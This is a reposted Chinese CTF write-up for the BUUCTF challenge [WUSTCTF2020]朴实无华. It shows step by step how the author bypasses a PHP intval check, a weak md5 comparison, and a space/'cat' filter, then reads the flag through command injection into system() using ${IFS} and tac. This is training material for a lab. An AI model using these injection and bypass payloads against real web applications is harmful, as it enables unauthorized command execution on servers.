码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • buuctf-[WUSTCTF2020]朴实无华


    打开环境就这么一句话

    先打开index.php,但是没有什么

     

    查看了下网络

    看到gzip和php

    我试了试www.zip

    还有index.phps,也是一样的,都没找到文件

    于是我想到用御剑扫,但是我好像线程太长了,一个没扫到,我就想到用dirsearch

    扫到robots.txt了

    访问

    再访问,得到一个假的flag

    想到用bp抓包了

    Look_at_me: /fl4g.php 

    访问一下,发现都是乱码

    搜索了一下火狐浏览器页面乱码怎么办

    参考如何修复火狐浏览器的乱码问题(最新版)_火狐浏览器乱码_小宇特详解的博客-CSDN博客

    找到修复文字编码

    修复后正常了,这题怎么这么繁杂

     

    从level1开始研究

    1. //level 1
    2. if (isset($_GET['num'])){
    3. $num = $_GET['num'];
    4. if(intval($num) < 2020 && intval($num + 1) > 2021){
    5. echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.
      "
      ;
    6. }else{
    7. die("金钱解决不了穷人的本质问题");
    8. }
    9. }else{
    10. die("去非洲吧");

    php真的忘得差不多了

    先去搜了搜这个函数

    这个函数可以通过科学计数法来绕过

    1e10 会被识别为1但是

    1e10+1后就会恢复原本 

    所以传入

    ?num=1e10

    绕过成功

     

    再看level2

    1. //level 2
    2. if (isset($_GET['md5'])){
    3. $md5=$_GET['md5'];
    4. if ($md5==md5($md5))
    5. echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.
      "
      ;
    6. else
    7. die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
    8. }else{
    9. die("去非洲吧");
    10. }

     ==是弱类型比较,上网搜了下

    https://www.cnblogs.com/dre0m1/p/16062369.html

    所以传入md5=0e215962017

    成功绕过

    再看level3

    1. if (isset($_GET['get_flag'])){
    2. $get_flag = $_GET['get_flag'];
    3. if(!strstr($get_flag," ")){
    4. $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
    5. echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.
      "
      ;
    6. system($get_flag);
    7. }else{
    8. die("快到非洲了");
    9. }
    10. }else{
    11. die("去非洲吧");
    12. }
    13. ?>

    先看看函数

    过滤了空格和cat,这里用的${IFS}。

    查看一下目录

    ?num=1e10&md5=0e215962017&get_flag=ls

    然后cat用tac,做完感觉确实不难。

    ?num=1e10&md5=0e215962017&get_flag=tac${IFS}fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

     

  • 相关阅读:
    【ROS】机器人使用Nomachine进行远程控制
    使用 Pyro 和 PyTorch 的贝叶斯神经网络
    .NET周报 【3月第1期 2023-03-03】
    zookeeper高级特性
    Kubernetes调度器:资源分配与优化之道
    SpringBoot统一返回值与actuator的矛盾
    以周一为每周的第一天,计算周数
    前端面试宝典React篇02 为什么 React 要用 JSX?
    Android 类似淘宝的吸顶特效解决方案
    瑞吉外卖项目实战Day01
  • 原文地址:https://blog.csdn.net/2202_75317918/article/details/133034292
  • 最新文章
  • 攻防演习之三天拿下官网站群
    数据安全治理学习——前期安全规划和安全管理体系建设
    企业安全 | 企业内一次钓鱼演练准备过程
    内网渗透测试 | Kerberos协议及其部分攻击手法
    0day的产生 | 不懂代码的"代码审计"
    安装scrcpy-client模块av模块异常,环境问题解决方案
    leetcode hot100【LeetCode 279. 完全平方数】java实现
    OpenWrt下安装Mosquitto
    AnatoMask论文汇总
    【AI日记】24.11.01 LangChain、openai api和github copilot
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1
正则表达式工具 cron表达式工具 密码生成工具

京公网安备 11010502049817号